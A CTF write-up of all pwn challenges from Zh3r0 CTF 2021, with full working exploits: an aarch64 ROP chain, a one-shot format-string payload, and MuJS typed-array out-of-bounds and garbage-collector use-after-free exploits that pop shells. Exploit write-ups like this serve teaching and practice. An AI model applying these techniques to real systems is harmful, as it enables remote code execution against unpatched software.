Zh3r0 CTF V2 - All Pwnable Writeups
- Author: Day and FizzBuzz101
- Date:
Last weekend, our team played Zh3r0CTF 2021. As the team’s pwn people, we (Day and FizzBuzz101) finished all the tasks and found all of them to be unique and interesting. Here are our writeups for all the pwn challenges.
BabyArmROP (28 solves)
This was basically a ret2libc challenge, but in aarch64. The source was the following:
1#include <stdio.h>
2#include <stdlib.h>
3#include <unistd.h>
4
5void vuln() {
6 char name_buffer[0x20];
7 read(0, name_buffer, 0x1f);
8 printf("Hello, %s\n; send me your message now: ", name_buffer);
9 fflush(stdout);
10 read(0, name_buffer, 0x200);
11}
12
13int main() {
14 printf("Enter your name: ");
15 fflush(stdout);
16 vuln();
17 return 0;
18}
There was no canary, but PIE was on. Also, the given qemu usermode binary had working ASLR for emulated binaries, and for some reason, I could not find a way to disable it. Additionally, in qemu usermode, the only debugging option is with -g
, which waits for a gdb connection to port upon binary start; though pwndbg’s “vmmap” command can sort of map out memory with auxv and register content exploration, it still does not give us the complete picture for the binary’s PIE addressses for us to break at. Our solution ended up being just to first connect gdb to the emulated process, and then read /proc/<qemu pid>/maps
to get the emulated process’s memory mappings from the emulator.
Now, our first goal is to get a PIE leak. Lucky for us, the buffer for name wasn’t zeroed out initially, and there always seemed to be a PIE address in the second qword. With a PIE leak, the rest of the exploit should follow a standard ret2libc procedure, with the only difference being that aarch64 gadgets are really nasty, especially in regards to control flow. Arguments are passed via x0
to x7
, the blr
instruction stores the return address (instruction + 4) in x30
(link register) before calling the address in the specified register, and the ret
instruction returns back to the address stored in the x30
register. Another important thing to notice is how in the end of every function, we have a ldp x29, x30, [sp], #offset; ret;
, which basically means load [sp] into x29
(the equivalent of the frame pointer), [sp + 8] into x30
, and then add offset to the stack pointer, while at the start, we see a stp x29, x30, [sp, #-offset]!
, which means store x29
at [sp+offset], x30
at [sp+offset+8], and then set sp
to sp + offset
.
In the end, I decided to use the following gadgets in the binary for a libc leak (printf(something@GOT)):
0x00000920: ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp], #0x40; ret;
0x00000900: ldr x3, [x21, x19, lsl #3]; mov x2, x24; add x19, x19, #1; mov x1, x23; mov w0, w22; blr x3; cmp x20, x19; b.ne 0x900; ldp x19, x20, [sp, #0x10]; ldp x19, x20, [sp, #0x10]; ldp x21, x22, [sp, #0x20]; ldp x23, x24, [sp, #0x30]; ldp x29, x30, [sp, #0x40]; ret;
I also found a nice gadget in libc:
0x6288c: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
We can use the first gadget to load x19
with 0 and x20
with 1 (the reason for this will become clear soon). Load x21
with the got entry for printf, and the same for x22
. x23
, x24
, and x29
don’t matter, and we can set x30
to go the next gadget.
When it goes to the next gadget, it will load x3
with [printf@got + 0 * 8]
, effectively giving it printf’s address. Since x19
is still 0, the add
instruction will effectively increment it, and printf@got from w22
(thankfully even with ASLR on, the addresses still fit within 32 bits) will move into w0
, allowing the next blr x3
to be equivalent to printf(printf@got)
. Then the following comparison will return equal, causing it to not branch and allowing us to control where it returns too. Since stdout is not set to unbuffered mode, we will need a fflush
call, and thankfully, main
offers that.
After redirecting to main and hitting the vuln
function (with libc leak), the libc gadget makes it trivially easy to open a shell with system("/bin/sh")
.
Here is the final exploit:
1from pwn import *
2
3elf = ELF('./vuln')
4libc = ELF('./libc.so.6')
5
6p = remote('pwn.zh3r0.cf', 1111)
7
8def wait():
9 p.recvrepeat(0.1)
10
11gadget0 = 0x920
12gadget1 = 0x900
13gadget2 = 0x6288c
14
15wait()
16p.send('A' * 0x8)
17p.recvuntil('Hello, ' + 'A' * 0x8)
18temp = u64(p.recv(4).ljust(8, '\x00'))
19elf.address = temp - 0x8a8
20log.info('pie leak: 0x%x' % elf.address)
21wait()
22payload = (
23 p64(elf.address + gadget0)
24 + 'A' * 8 + p64(elf.address + gadget1) # x29 and x30
25 + p64(0) + p64(1) # make x19 0 and x20 1 (to fix the cmp that comes after the blr x3)
26 + p64(elf.got['printf']) + p64(elf.got['printf']) # set x21 to printf@got, x22 to printf@got
27 + p64(0x1337) + p64(0x1337) # padding
28 + 'A' * 8 + p64(elf.symbols['main'])
29 )
30assert(len('A' * 0x28 + payload) < 0x200)
31p.send('A' * 0x28 + payload)
32leek = u64(p.recv(4).ljust(8, '\x00'))
33libc.address = leek - libc.symbols['printf']
34log.info('libc leak: 0x%x' % libc.address)
35wait()
36p.send('A')
37wait()
38payload = (
39 p64(libc.address + gadget2)
40 + 'A' * 8 + p64(libc.symbols['system'])
41 + p64(0) + p64(libc.search('/bin/sh').next())
42 )
43p.send('A' * 0x28 + payload)
44p.interactive()
And challenge solved!
[+] Opening connection to pwn.zh3r0.cf on port 1111: Done
[*] pie leak: 0x42175000
[*] libc leak: 0x61b3000
[*] Switching to interactive mode
Hello, A\x841�
; send me your message now: $ cat /vuln/flag
zh3r0{b4by_aaarch64_r0p_f04_fun_4nd_pr0fit}
More Printf (7 solves)
Uh oh, I’m still traumatized by still-printf from hxp ctf 😠. People say heap note is “bad” and “not fun”, but have they seen format string challenges???
Anyways, looking at source:
1/* gcc -o more-printf -fstack-protector-all more-printf.c */
2#include <stdint.h>
3#include <stdio.h>
4#include <stdlib.h>
5#include <unistd.h>
6
7FILE *fp;
8char *buffer;
9uint64_t i = 0x8d9e7e558877;
10
11_Noreturn main() {
12 /* Just to save some of your time */
13 uint64_t *p;
14 p = &p;
15
16 /* Chall */
17 setbuf(stdin, 0);
18 buffer = (char *)malloc(0x20 + 1);
19 fp = fopen("/dev/null", "wb");
20 fgets(buffer, 0x1f, stdin);
21 if (i != 0x8d9e7e558877) {
22 _exit(1337);
23 } else {
24 i = 1337;
25 fprintf(fp, buffer);
26 _exit(1);
27 }
28}
Effectively, our payload must be 0x1e in length, and _exit
is called immediately afterwards. There’s also an 8 byte cookie to check if you have ran this already or not. Given the length restriction, good luck getting redirection back to main.
However, do note the existence of a self pointer, and the call chain that will happen from main, or more specially main
-> __fprintf
-> _vfprintf_internal
. With some simple debugging, we know the fmtstr offset for the self pointer will be 5. Most likely, the end goal will be to change the self pointer to where the return pointer is stored for either __fprintf
or __vfprintf_internal
, and since it is impossible for us to leak anything, we have to one shot it to a one gadget.
In order to oneshot this, there are two very important things we must know about printf. First, when something of the %offset$specifier notation is encountered, the value is cached in args_value
in printf_positional
so it will not reference the stack upon the next encounter. Second, according to the printf manpages. We see the following statement in regards to field width:
An optional decimal digit string (with nonzero first digit)
specifying a minimum field width. If the converted value has
fewer characters than the field width, it will be padded with
spaces on the left (or right, if the left-adjustment flag has
been given). Instead of a decimal digit string one may write "*"
or "*m$" (for some decimal integer m) to specify that the field
width is given in the next argument, or in the m-th argument,
respectively, which must be of type int. A negative field width
is taken as a '-' flag followed by a positive field width. In no
case does a nonexistent or small field width cause truncation of
a field; if the result of a conversion is wider than the field
width, the field is expanded to contain the conversion result.
Basically, with the notaion of %*offsetc
we can write out the amount of bytes specified in the value at the offset. Looking up the stack, we see that we have __libc_start_main
addresses at an offset of 8 in regards to the format string. This means that if we choose to target __vfprintf_internal
’s return address (as it’s return address will be into the libc __fprintf
, while __fprintf
’s return will be into a PIE address), we can actually overwrite it with the low 4 bytes of __libc_start_main
and get a return into libc without any leaks. By adding the offset to a one gadget (debugging showed that the one at 0x4f3d5 works), we can one shot to a shell, with the condition that the address of the one_gadget during runtime can be seen as a positive number when its lower 4 bytes is treated as a signed 32 bit integer (otherwise, a final %n
won’t write the correct value). While this probability should be 1/2
, in practice, it seemed to be worse.
The only thing that remains to be done is in regards to how to modify the self-pointer to point to __vfprintf_internal
’s return address. Debugging showed a distance of 0xe8, and since the stack grows downwards and the self-pointer always had the lowest nibble at 0, we must have the self-pointer’s least significant byte be 0xf0. Otherwise, the second byte will also differ, which would drastically lower bound the bruteforce to 1/8192 (we originally had a script like this and ended up breaking the challenge instance because we bruteforced too hard). With the above precondition, this becomes a 4 bit brute (as stack addresses only remain constant in the lowest nibble), lower bounding the overall probability of success to 1/32. I had to use %c
to print out contents before reaching the self-pointer in order to allow me to write the tiny value of 0x08
without going past the length restriction.
Here’s the final exploit:
1from pwn import *
2
3elf = ELF('./more-printf')
4libc = ELF('./libc.so.6')
5
6p = remote('pwn.zh3r0.cf', 2222)
7
8def wait():
9 p.recvrepeat(0.1)
10forced_stack_nibble = 0x08
11payload_one = '%c%c%c%' + str(forced_stack_nibble - 3) + 'c%hhn%*8$c%' + str(0x4f3d5 - 0x21bf7-0x8) + 'c%5$n'
12wait()
13p.sendline(payload_one)
14p.interactive()
A shell popped up quite quickly:
[+] Opening connection to pwn.zh3r0.cf on port 2222: Done
%c%c%c%5c%hhn%*8$c%186326c%5$n
30
[*] Switching to interactive mode
$ ls
flag
ld-2.27.so
libc.so.6
more-printf
more-printf.c
run.sh
ynetd
$ cat flag
zh3r0{5aeb93e42479d5ee0795bda6e533df0e}
Javascript for Dummies Part 1 (7 solves)
This was a javascript exploitation challenge based on a lightweight javascript interpreter called MuJS. The implementation we were given for the challenge had new code for ArrayBuffer objects and TypedArray objects - Uint8Array, Uint16Array and Uint32Array.
Vulnerability
The ArrayBuffer code takes a size, checks it is not less than or equal to 0, and then increments it until it is a multiple of four. It uses js_malloc to get enough memory for the size, and then stores the pointer to the memory as the backing store and the length of it in bytes.
When you create any of the TypedArrays using a size, it does a similar thing, however multiplying the size by 2 or 4 in the case of UInt16Array and UInt32Array.
However, creating a TypedArray from an ArrayBuffer is where the vuln is. In Uint16Arrays,
1oid js_newUint16Array(js_State *J)
2{
3 int top = js_gettop(J);
4 size_t size;
5 if(top != 2) {
6 js_typeerror(J, "Expecting Size");
7 }
8 if(js_isobject(J, 1)) {
9 js_Object* j = js_toobject(J, 1);
10 if(j->type != JS_CARRAYBUFFER) {
11 js_typeerror(J, "Require ArrayBuffer as Object");
12 } else {
13 js_Object* this = jsV_newobject(J, JS_CUINT16ARRAY, J->Uint16Array_prototype);
14 this->u.ta.mem = j->u.ab.backingStore;
15 this->u.ta.length = j->u.ab.byteLength;
16 js_pushobject(J,this);
17 return ;
18 }
19 } else {
20 size = js_tonumber(J, 1);
21 if(size <= 0 && size > UINT32_MAX) {
22 js_typeerror(J, "Invalid Length");
23 }
24 js_Object *this = jsV_newobject(J, JS_CUINT16ARRAY, J->Uint16Array_prototype);
25 this->u.ta.mem = js_malloc(J, (size * sizeof(uint16_t)));
26 memset((void*)this->u.ta.mem,0,size);
27 this->u.ta.length = size;
28 js_pushobject(J, this);
29 }
30}
Mainly, the vuln is in this block
1 if(js_isobject(J, 1)) {
2 js_Object* j = js_toobject(J, 1);
3 if(j->type != JS_CARRAYBUFFER) {
4 js_typeerror(J, "Require ArrayBuffer as Object");
5 } else {
6 js_Object* this = jsV_newobject(J, JS_CUINT16ARRAY, J->Uint16Array_prototype);
7 this->u.ta.mem = j->u.ab.backingStore;
8 this->u.ta.length = j->u.ab.byteLength;
9 js_pushobject(J,this);
10 return ;
11 }
12 }
When creating a Uint16Array from an ArrayBuffer, the byte length of the buffer is copied to the length of the typed array. This is bad, because a length in bytes is different to a length in uint16s. A uint16 array of length 2 is really 4 bytes, so by doing this->u.ta.length = j->u.ab.byteLength;
it gives the user access to twice as much data as they should be able to. This gives OOB.
TypedArrays have a fill
method which fills the array with a given number, an Includes
method which finds the first index of which a number is in the array, and a set
method that sets a value in the array.
Background on MuJS
This challenge runs the mujs binary with libjemalloc on LD_PRELOAD. jemalloc is a slab like allocator, meaning that allocations of the same size are adjacent to each other. All objects in mujs are 0x68 in size, so if we make a buffer with a backing store of similar size then our buffer will be in the same slab as objects.
1enum js_Class {
2 JS_COBJECT,
3 JS_CARRAY,
4 JS_CFUNCTION,
5 JS_CSCRIPT, /* function created from global/eval code */
6 JS_CCFUNCTION, /* built-in function */
7 JS_CERROR,
8 JS_CBOOLEAN,
9 JS_CNUMBER,
10 JS_CSTRING,
11 JS_CREGEXP,
12 JS_CDATE,
13 JS_CMATH,
14 JS_CJSON,
15 JS_CARGUMENTS,
16 JS_CITERATOR,
17 JS_CUSERDATA,
18 JS_CUINT8ARRAY,
19 JS_CUINT16ARRAY,
20 JS_CUINT32ARRAY,
21
22 JS_CARRAYBUFFER
23};
24struct js_ArrayBuffer
25{
26 uint8_t *backingStore;
27 size_t byteLength;
28};
29
30struct js_TypedArray
31{
32 uint8_t* mem;
33 size_t length;
34 uint8_t type;
35};
36struct js_Object
37{
38 enum js_Class type;
39 int extensible;
40 js_Property *properties;
41 int count; /* number of properties, for array sparseness check */
42 js_Object *prototype;
43 union {
44 int boolean;
45 double number;
46 struct {
47 const char *string;
48 int length;
49 } s;
50 struct {
51 int length;
52 } a;
53 struct {
54 js_Function *function;
55 js_Environment *scope;
56 } f;
57 struct {
58 const char *name;
59 js_CFunction function;
60 js_CFunction constructor;
61 int length;
62 } c;
63 js_Regexp r;
64 struct {
65 js_Object *target;
66 js_Iterator *head;
67 } iter;
68 struct {
69 const char *tag;
70 void *data;
71 js_HasProperty has;
72 js_Put put;
73 js_Delete delete;
74 js_Finalize finalize;
75 } user;
76 js_ArrayBuffer ab;
77 js_TypedArray ta;
78 } u;
79 js_Object *gcnext; /* allocation list */
80 js_Object *gcroot; /* scan list */
81 int gcmark;
82};
Leaking
We can use the OOB to change the type
field of an adjacent object. The easiest thing to do is change the type of a TypedArray to JS_CNUMBER
. This means that the mem field of the js_TypedArray struct is confused with a double, since they would be in the same position in the union. The prototype of the object will be different to that than of the Number object, so we will have to manually add the functions to its properties. The functions will succeed because the type checks will pass.
1buf = new ArrayBuffer(0x64) // 0x64, is in the same area as js objects
2arr = new Uint16Array(buf)
3buf2 = new ArrayBuffer(0x64)
4second_arr = new Uint16Array(buf)
5// 100 byte bof, enough to break into the TypedArray arr from buf
6// From there we can change arr into any object we please.
7// Change into numebr to leak heap address, as the number value gets confused with buffer address
8arr.set(56,7)
9arr.valueOf = Number.prototype.valueOf
There’s no float arrays, so it is difficult to convert between floats and integers. However, I found an old code snippet that is capable of doing so. https://stackoverflow.com/questions/25942516/double-to-byte-array-conversion-in-javascript
Using this, we can convert the memory address stored in a TypedArray from a double and leak a heap address. This is invaluable.
So, I used this oob to switch a Uint16Array into a Number for leaking. I then used second_arr to switch it back to a TypedArray, but this time a Uint32Array instead. This multiplied the amount of oob by 3.
Now, it is possible to change the length field of the TypedArray to a larger number for potentially unlimited overflow.
Gaining Primitives
Next is getting arbitrary read. We can accomplish this by manipulating a string object.
1buf = new ArrayBuffer(97) // 0x61, is in the same area as js objects
2arr = new Uint16Array(buf)
3buf2 = new ArrayBuffer(97)
4controlstring = new String("pwn")
5second_arr = new Uint16Array(buf)
6// 97 byte bof, enough to break into the TypedArray arr from buf
7// From there we can change arr into any object we please.
8// Change into numebr to leak heap address, as the number value gets confused with buffer address
9arr.set(56,7)
10arr.valueOf = Number.prototype.valueOf
11jrs = new JRS()
12// arr is a number - leak heap address
13heap_ptr = parseInt(jrs.doubleToHexString(arr.valueOf(),64),16)
14second_arr.set(56,0x12)
15// arr is now Uint32Array
16arr.set = Uint32Array.prototype.set
17arr.set(38,1000)
In a string object, there are two fields - a pointer to the null-terminated string data, and the length of the string. By overwriting this pointer to a given address, data can be arbitrarily read via reading characters from the string. However, due to WTF encoding, MuJS won’t let us read non-ascii bytes from a string. This is fixed by calling encodeURI on the string, which URL encodes the bytes. I made a custom function to read a number from a string by URI encoding it. For example, “\xd0\x41\xa0” would become “%D0A%A0”
1function set64(idx, number){ // Write 64 bit number
2 hex = number.toString(16)
3 hex = '0'*(16 - hex.length) + hex
4 lower = parseInt(hex.slice(-8),16)
5 higher = parseInt(hex.slice(0,-8),16)
6 arr.set(idx, lower)
7 arr.set(idx + 1, higher)
8}
9function readptr(s){
10 out = ""
11 // Reads ptr from string
12 encoded = encodeURI(s)
13 i = 0;
14 while(i < encoded.length){
15 if(encoded[i] == "%"){
16 // Non ascii
17 out = encoded.slice(i+1,i+3) + out
18 i += 3
19 }
20 else{
21 // Ascii
22 out = encoded.charCodeAt(i).toString(16) + out
23 i += 1
24 }
25 }
26 return parseInt(out,16)
27}
Here is how our slab would look(offsets from backing store from buf where our oob is)
-0x70 - buf ArrayBuffer
0x0 - backing store for buf
0x70 - arr Uint16Array
0xe0 - buf2 ArrayBuffer
0x150 - backing store for buf2
0x1c0 - controlstring
Before the union of object data, there is 32 bytes. This means that the offset between the backing store for buf and the pointer in controlstring is 0x1c0 + 0x20 = 0x1e0 bytes. 0x1e0 / 4 gives an index in uint32array of 120. This allows us to build a function for arbitrary read.
1function read(addr){
2 set64(120, addr) // set controlstring address to addr
3 return readptr(controlstring)
4}
Final Exploitation
After gaining arbitrary read, leaking binary and libc is easier. In MuJS, object properties are stored in a tree. Objects have a properties field that points to one of its properties. Each property works like so
1struct js_Property
2{
3 const char *name;
4 js_Property *left, *right;
5 int level;
6 int atts;
7 js_Value value;
8 js_Object *getter;
9 js_Object *setter;
10};
It contains a pointer to its name, and pointers to the properties “left” and “right” of it, as well as different metadata and the pointer to the property as a js_value. The leaves of this tree - the edges, such as the left of the first property and the right of the last one - are always a property structure called the sentinel. The sentinel is stored inside the binary, giving a leak to the code base. When an object has no properties, its properties pointer is just to the sentinel.
This allows us to leak easily, given we have a heap leak. arr
has properties since we had to manually add functions, however buf2
has no properties. The properties field is 8 bytes after the beginning of an object, so reading 0xe8 bytes after the heap leak we got(which gives the address of our oob buffer) will leak the sentinel, which can be offsetted to leak the code base.
Afterwards, we can use the Global Offset Table(GOT) given our arbitrary read to leak a heap address. memset causes local vs remote problems, so I used fopen.
1// Leak sentinel property to get binary base
2binarybase = read(heap_ptr + 0xe8) - 0x460a0
3print("Binary Base: 0x" + binarybase.toString(16))
4// Use GOT to leak libc(I did fopen)
5libcbase = read(binarybase + 0x45f58) - 0x85a90
After this, the only question is how to pop a shell. There are various methods, I took advantage of the userdata structure. In MuJS, the userdata objects are ways of representing arbitrary data from C in mujs, which can be manipulated through the C api. Because of this, userdata objects have a little more control. I learned from this writeup that when trying to add a property to a user data object, obj.u.user.put(J, obj->u.user.data, name)
is called. the u.user
structure in objects looks like this
1struct {
2 const char *tag;
3 void *data;
4 js_HasProperty has;
5 js_Put put;
6 js_Delete delete;
7 js_Finalize finalize;
8 } user;
The OOB control we have now gained can be used to change a pre-existing object into a custom userdata object we have complete control over. This can give us arbitrary code execution, however limited in arguments.
However, I ran one_gadget on the libc, and found a useful gadget at 0xe6e79
that required
rsi == NULL || [rsi] == NULL
rdx == NULL || [rdx] == NULL
This ignores rdi, so the fact that obj.u.user.put will be called with J(the environment currently being worked in) as the first argument was fine. With control over the object fields, the data pointer can be set to a null pointer, satisfying the check for rsi. name
would be a pointer to the string representing the property that should be added - meaning, we had to make sure this pointer was a pointer to NULL. I was able to do this by trying to set a property that was just empty string, such as obj[""] = 0xdeadbeef
. Due to null turmination, this would ensure [rdx] == NULL.
So, the exploit steps
- Use Uint16Array oob to confuse array into Number object, leak heap address
- Turn Uint16Array into Uint32Array now, gaining lots of OOB
- Use new OOB to set array length to large number for unlimited oob
- Edit string object for arbitrary read
- Use arbitrary read to leak code base and libc
- Create fake userdata object to call one gadget and pop shell
The connect.py script which handles the server closes stdout and stderr before running mujs on our exploit script. This can be bypassed by reopening stdout with exec 1>&0
, from which commands can be run to read the flag file and get the flag
Full Exploit
1JRS = function(){
2 function numberToBinString(number, binStringLength) {
3 var A = [], T = null; // number>=0
4 while (binStringLength--) {
5 T = number % 2;
6 A[binStringLength] = T;
7 number -= T;
8 number /= 2;
9 }
10 return A.join("");
11 }
12
13 function HexFn(fourBitsBinString) {
14 return parseInt(fourBitsBinString, 2).toString(16);
15 }
16
17 function binStringToHexString(binString) {
18 return binString.replace(/(\d{4})/g, HexFn );
19 }
20
21 function hexStringToBinString(hexString) {
22 var binString = "";
23
24 for(var i=0; i< hexString.length-1; i+=2) {
25 binString += numberToBinString(parseInt(hexString.substr(i, 2), 16), 8);
26 }
27
28 return binString;
29 }
30
31 function SngFwd(Sg, Ex, Mt) {
32 var B = {};
33 Mt = Math.pow(2, 23) * Mt + 0.5; // round
34 B.a = 0xFF & Mt;
35 B.b = 0xFF & (Mt >> 8);
36 B.c = 0x7F & (Mt >> 16) | (Ex & 1) << 7;
37 B.d = Sg << 7 | (Ex >> 1);
38 return B;
39 }
40
41 function DblFwd(Sg, Ex, Mt) {
42 var B = {};
43 Mt = Math.pow(2, 52) * Mt;
44 B.a = 0xFFFF & Mt;
45 B.b = 0xFFFF & (Mt >> 16);
46 Mt /= Math.pow(2, 32); // Integers are only 32-bit
47 B.c = 0xFFFF & Mt;
48 B.d = Sg << 15 | Ex << 4 | 0x000F & (Mt >> 16);
49 return B;
50 }
51
52 function CVTFWD(NumW, Qty) { // Function now without side-effects
53 var Sign = null, Expo = null, Mant = null, Bin = null, nb01 = ""; // , OutW = NumW/4
54 var Inf = {
55 32 : {d: 0x7F, c: 0x80, b: 0, a : 0},
56 64 : {d: 0x7FF0, c: 0, b: 0, a : 0}
57 };
58 var ExW = {32: 8, 64: 11}[NumW], MtW = NumW - ExW - 1;
59
60 if (isNaN(Qty)) {
61 Bin = Inf[NumW];
62 Bin.a = 1;
63 Sign = false;
64 Expo = Math.pow(2, ExW) - 1;
65 Mant = Math.pow(2, -MtW);
66 }
67
68 if (!Bin) {
69 Sign = Qty < 0 || 1 / Qty < 0; // OK for +-0
70 if (!isFinite(Qty)) {
71 Bin = Inf[NumW];
72 if (Sign)
73 Bin.d += 1 << (NumW / 4 - 1);
74 Expo = Math.pow(2, ExW) - 1;
75 Mant = 0;
76 }
77 }
78
79 if (!Bin) {
80 Expo = {32: 127, 64: 1023}[NumW];
81 Mant = Math.abs(Qty);
82 while (Mant >= 2) {
83 Expo++;
84 Mant /= 2;
85 }
86 while (Mant < 1 && Expo > 0) {
87 Expo--;
88 Mant *= 2;
89 }
90 if (Expo <= 0) {
91 Mant /= 2;
92 nb01 = "Zero or Denormal";
93 }
94 if (NumW == 32 && Expo > 254) {
95 nb01 = "Too big for Single";
96 Bin = {
97 d : Sign ? 0xFF : 0x7F,
98 c : 0x80,
99 b : 0,
100 a : 0
101 };
102 Expo = Math.pow(2, ExW) - 1;
103 Mant = 0;
104 }
105 }
106
107 if (!Bin)
108 Bin = {32: SngFwd, 64: DblFwd}[NumW](Sign, Expo, Mant);
109
110 Bin.sgn = +Sign;
111 Bin.exp = numberToBinString(Expo, ExW);
112 Mant = (Mant % 1) * Math.pow(2, MtW);
113 if (NumW == 32)
114 Mant = Math.floor(Mant + 0.5);
115 Bin.mnt = numberToBinString(Mant, MtW);
116 Bin.nb01 = nb01;
117 return Bin;
118 }
119
120 function CVTREV(BinStr) {
121 var ExW = {32: 8,64: 11}[BinStr.length];
122 var M = BinStr.match(new RegExp("^(.)(.{" + ExW + "})(.*)$"));
123 // M1 sign, M2 exponent, M3 mantissa
124
125 var Sign = M[1] == "1" ? -1 : +1;
126
127 if (!/0/.test(M[2])) { // NaN or Inf
128 var X = /1/.test(M[3]) ? NaN : Sign / 0;
129 throw new Error("Max Coded " + M[3] + " " + X.toString());
130 }
131
132 var Denorm = +M[2] == 0;
133 if (Denorm) {
134 console.log("Zero or Denormal");
135 }
136
137 var Expo = parseInt(M[2], 2) - Math.pow(2, ExW - 1) + 1;
138 var Mant = parseInt(M[3], 2) / Math.pow(2, M[3].length) + !Denorm;
139 return Sign * Mant * Math.pow(2, Expo + Denorm);
140 }
141
142 this.doubleToHexString = function( /* double */d, /* int */size) {
143 var NumW = size;
144 var Qty = d;
145 with (CVTFWD(NumW, Qty)) {
146 return binStringToHexString(sgn + exp + mnt);
147 }
148 };
149
150 this.hexStringToDouble = function (/*String*/hexString, /*int*/size) {
151 var NumW = size ;
152 var binString = hexStringToBinString(hexString) ;
153 var X = new RegExp("^[01]{" + NumW + "}$");
154 if (!X.test(binString)) {
155 alert(NumW + " bits 0/1 needed");
156 return;
157 }
158 return CVTREV(binString);
159 };
160};
161buf = new ArrayBuffer(97) // 0x61, is in the same area as js objects
162arr = new Uint16Array(buf)
163buf2 = new ArrayBuffer(97)
164controlstring = new String("pwn")
165second_arr = new Uint16Array(buf)
166// 97 byte bof, enough to break into the TypedArray arr from buf
167// From there we can change arr into any object we please.
168// Change into number to leak heap address, as the number value gets confused with buffer address
169arr.set(56,7)
170arr.valueOf = Number.prototype.valueOf
171jrs = new JRS()
172// arr is a number - leak heap address
173heap_ptr = parseInt(jrs.doubleToHexString(arr.valueOf(),64),16)
174second_arr.set(56,0x12)
175// arr is now Uint32Array
176arr.set = Uint32Array.prototype.set
177arr.set(38,1000)
178arr.set(0,0xdeadbeef)
179// controlstring can now be controlled for arb read
180function set64(idx, number){ // Write 64 bit number
181 hex = number.toString(16)
182 hex = '0'*(16 - hex.length) + hex
183 lower = parseInt(hex.slice(-8),16)
184 higher = parseInt(hex.slice(0,-8),16)
185 arr.set(idx, lower)
186 arr.set(idx + 1, higher)
187}
188function readptr(s){
189 out = ""
190 // Reads ptr from string
191 encoded = encodeURI(s)
192 i = 0;
193 while(i < encoded.length){
194 if(encoded[i] == "%"){
195 // Non ascii
196 out = encoded.slice(i+1,i+3) + out
197 i += 3
198 }
199 else{
200 // Ascii
201 out = encoded.charCodeAt(i).toString(16) + out
202 i += 1
203 }
204 }
205 return parseInt(out,16)
206}
207
208function read(addr){
209 set64(120, addr) // set controlstring address to addr
210 return readptr(controlstring)
211}
212// Leak sentinel property to get binary base
213binarybase = read(heap_ptr + 0xe8) - 0x460a0
214print("Binary Base: 0x" + binarybase.toString(16))
215// Use GOT to leak libc(I did fopen)
216libcbase = read(binarybase + 0x45f58) - 0x85a90
217print("Libc Base: 0x" + libcbase.toString(16))
218print("One gadget: 0x" + (libcbase + 0xe6e79).toString(16))
219// Change buf2 into userdata
220set64(56,0x000000010000000f) // set type to userdata
221set64(64,0) // tag
222set64(66,0) // data
223set64(70,libcbase + 0xe6e79) // change put to one gadget
224// obj->u.user.put(J, obj->u.user.data, name)
225// one gadget requires rsi to be 0 or a pointer to 0 and rdx to be 0 or a pointer to 0
226// Setting obj->u.user.data to 0 fixes that for rsi, to fix rdx we make the attribute that we try to set be empty string
227buf2[""] = 0
Running on remote gives us a flag!
exec 1>&0
ls
connect.py
flag_ea9cb51550cf5f04aa29dd5fbf71593a
libjemalloc.so.2
mujs
run.sh
start.sh
ynetd
cat flag_ea9cb51550cf5f04aa29dd5fbf71593a
zh3r0{9107cb3f05e7b5d1c7a149f38c8ff4a0}
Javascript for Dummies Part 2 (6 solves)
Vulnerability
Now, only the UInt32Array remains, and the TypedArray struct no longer has the type field.
1struct js_TypedArray
2{
3 uint8_t* mem;
4 size_t length;
5};
In addition to .fill
, .set
, and .Includes
, we also have .at
, .get
, .find
, and .reverse
. Due to the adjustment in available objects, the enums for js_Class
had to change as well:
1enum js_Class {
2 JS_COBJECT,
3 JS_CARRAY,
4 JS_CFUNCTION,
5 JS_CSCRIPT, /* function created from global/eval code */
6 JS_CCFUNCTION, /* built-in function */
7 JS_CERROR,
8 JS_CBOOLEAN,
9 JS_CNUMBER,
10 JS_CSTRING,
11 JS_CREGEXP,
12 JS_CDATE,
13 JS_CMATH,
14 JS_CJSON,
15 JS_CARGUMENTS,
16 JS_CITERATOR,
17 JS_CUSERDATA,
18 JS_CUINT32ARRAY,
19 JS_CARRAYBUFFER
20};
Also, when running a diff, we noticed that jsgc.c has implemented functionality for garbage collection UInt32Arrays.
1static void jsG_freeobject(js_State *J, js_Object *obj)
2{
3 if (obj->properties->level)
4 jsG_freeproperty(J, obj->properties);
5 if (obj->type == JS_CREGEXP) {
6 js_free(J, obj->u.r.source);
7 js_regfreex(J->alloc, J->actx, obj->u.r.prog);
8 }
9 if (obj->type == JS_CITERATOR)
10 jsG_freeiterator(J, obj->u.iter.head);
11 if (obj->type == JS_CUSERDATA && obj->u.user.finalize)
12 obj->u.user.finalize(J, obj->u.user.data);
13 if( obj->type == JS_CUINT32ARRAY ) {
14 js_free(J, (void*)obj->u.ta.mem);
15 }
16 js_free(J, obj);
17}
Note how you can create UInt32Array from ArrayBuffer, and they will share the same buffer pointer. This leads to a UAF when garbage collection happens and frees UInt32Array’s buffer, while active ArrayBuffers still have their backing pointer there.
Reading MuJS documentation, we note that it’s garbage collector is a mark and sweep style garbage collector. This means reachable objects are marked, and then unreachable ones will be swept (freed). People usually trigger gc in Chromium v8 exploits with the following:
1function gc()
2{
3 for (let i = 0; i < 100; i++)
4 {
5 new ArrayBuffer(0x100000);
6 }
7}
With this as our basis, we pretty quickly managed to get the interpreter to hit piebase+0x7a10, which is where the js_gc function runs, with the following:
1function gc(a, b)
2{
3 for (i = 0; i < a; i++)
4 {
5 c = new Uint32Array(b);
6 }
7}
8
9gc(10000, 2)
The following should trigger a rudimentary double free now:
1function gc(a, b, buf)
2{
3 c = new Uint32Array(buf);
4 for (i = 0; i < a; i++)
5 {
6 c = new Uint32Array(b);
7 }
8}
9
10buf = new ArrayBuffer(2);
11gc(10000, 2, buf);
12gc(10000, 2, buf);
When preloaded to use the glibc allocator, we see an obvious abort from a double free check. However, that does not happen with jemalloc, which would actually make exploitation easier as it is not as harsh with checks for at least this part.
Exploitation
Our exploitation plan should be the following: Create an ArrayBuffer, and trigger the gc to free a UInt32Array constructed with the same buffer to get a dangling UAF. Then, like any allocator, we can keep re-allocating until we have an overlap of our buffer over a UInt32Array object. An overlap is quite easy to detect thanks to how ArrayBuffer memsets its buffer to 0 upon initialization:
1void js_newArrayBuffer(js_State* J)
2{
3 int top = js_gettop(J);
4 size_t size;
5 if(top != 2) {
6 js_typeerror(
7 J,
8 "Expecting Byte length"
9 );
10 }
11 size = js_tonumber(J, 1);
12 if(size <= 0) {
13 js_typeerror(
